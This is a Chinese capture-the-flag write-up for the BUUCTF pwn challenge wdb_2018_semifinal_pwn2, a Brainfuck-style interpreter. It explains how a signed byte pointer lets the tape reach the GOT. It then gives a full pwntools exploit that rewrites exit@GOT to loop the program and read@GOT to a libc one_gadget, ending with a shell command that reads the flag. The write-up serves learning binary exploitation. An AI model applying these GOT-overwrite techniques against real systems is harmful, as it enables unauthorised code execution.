[BUUCTF-pwn] wdb_2018_semifinal_pwn2
又是一個虛擬機的題,干到一半想放棄了,搜不到wp又回來慢慢作。
先看題目:
for ( byte_6024C1 = 0; ; ++byte_6024C1 ){byte_6028E1 = byte_6024E0[byte_6024C1];if ( !byte_6028E1 )break;byte_6028E0 = 0;if ( byte_6028E1 == 62 ) // > 先后移指針++byte_6024C0;if ( byte_6028E1 == 60 ) // <--byte_6024C0;if ( byte_6028E1 == 43 ) // + 指針處加1++byte_6020C0[byte_6024C0];if ( byte_6028E1 == 45 ) // ---byte_6020C0[byte_6024C0];if ( byte_6028E1 == 46 ) // . 輸出_IO_putc(byte_6020C0[byte_6024C0], stdout);if ( byte_6028E1 == 44 ) // , 輸入read(0, &byte_6020C0[byte_6024C0], 1uLL);while ( byte_6028E1 == 91 && !byte_6020C0[byte_6024C0] )// [{if ( byte_6024E0[byte_6024C1] == 91 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 93 ){v3 = byte_6028E0--;if ( v3 == 1 )break;}++byte_6024C1;}while ( byte_6028E1 == 93 && byte_6020C0[byte_6024C0] )// ]{if ( byte_6024E0[byte_6024C1] == 93 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 91 ){v4 = byte_6028E0--;if ( v4 == 1 )break;}--byte_6024C1;}一共8個功能符,<>向前向后移動指針;?+-指針處值增減;.,分別是輸出字符和輸入字符
但干到一半才發現這個逗號有問題
read(0, &byte_6020C0[byte_6024C0], 1uLL);在一個指針前邊加了一個&變成地址,也就是指針的指針,這就導致這里不能正確讀入。也許大部分人到這里就放棄了。
再看另一個坑點:
--byte_6024C0;這里用到的兩個指針byte_6024C0, byte_6020C0都是byte類型的,byte只有1字節還是有符號的,所以處理只 處理輸入只有到127,向后只能到-128這就造成輸入串只能是128位,向后可處理范圍到-128
再看下附近可修改的內容
0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6 0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280 0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0 0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756 0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000 0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000 0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000最遠可以到達read,這正是想要的,把read改成one就OK了,但是到這里就需要128字符,然后就退出了,所以
第1步要造個循環:
把got.exit改為_start這個需要的字符數不多,修改完exit后基本快用完了,這個改完后還可以加幾個<盡量向前移動指針,不過空間很小移不了多少。
第2步由于第一步指針已經向前移了不少,只需要移到read+3修改3位就好了。
from pwn import *local = 0 if local == 1:p = process('./pwn')libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]libc_start_main_ret = 0x20840 else:p = remote('node4.buuoj.cn', 25916) libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')one = [0x45216, 0x4526a, 0xcd0f3, 0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0 ]libc_start_main_ret = 0x20830elf = ELF('./pwn') context.arch = 'amd64' context.log_level = 'debug'def change(tva, tvb):tva = tva[::-1]tvb = tvb[::-1]sv = ''for i in range(8):sv += '<'tmp = tva[i] - tvb[i]if tmp < 0:tmp = 0- tmpif tmp > 0x80:sv += '-'*(256-tmp)else:sv += '+'*tmpelif tmp > 0:if tmp > 0x80:sv += '+'*(256-tmp)else:sv += '-'*tmpreturn sv#0x602060 <exit@got.plt>: 0x0000000000400766 <-- 0x400770 payload = '<'*(0xc0 - 0x68)+ change(p64(0x400766), p64(0x400770)) + '<'*(0x8+3) + '.<'*6 p.sendlineafter(b"Put the code: ", payload.encode())''' 0x602020 <printf@got.plt>: 0x00007f4693749810 0x00000000004006f6 0x602030 <memset@got.plt>: 0x00007f4693866a30 0x00007f46937c0280 0x602040 <read@got.plt>: 0x00007f46937eb310 0x00007f46937293d0 0x602050 <setvbuf@got.plt>: 0x00007f4693763e80 0x0000000000400756 0x602060 <exit@got.plt>: 0x0000000000400766 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080 <stdout>: 0x00007f4693ab9620 0x0000000000000000 0x602090 <stdin>: 0x00007f4693ab88e0 0x0000000000000000 0x6020a0 <stderr>: 0x00007f4693ab9540 0x0000000000000000 ''' #gdb.attach(p, 'b*0x400b30')one_gadget = one[6] #local 2 remote 6 target = libc_elf.sym['read'] payload = '<'*0x8 + change(p64(target), p64(one_gadget)) + ',' p.sendlineafter(b"Put the code: ", payload.encode())p.sendline(b'cat /flag') p.recv()另外這時修改的時候也需要注意,如果把01改成FF應該是--,也就是找一個最近的路徑。由于本地和遠端的libc不同,one也不同,本地用2成功,遠端用6成功,我這里第一步還可以多移幾下然后后邊可以多輸入6個字符,也許其它的也能成功,不過概率不大。沒試。
總結
以上是生活随笔為你收集整理的[BUUCTF-pwn] wdb_2018_semifinal_pwn2的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: win7设置多用户登陆和修改3389端口
- 下一篇: 软件测试简历包装我们会了,但测试人的自我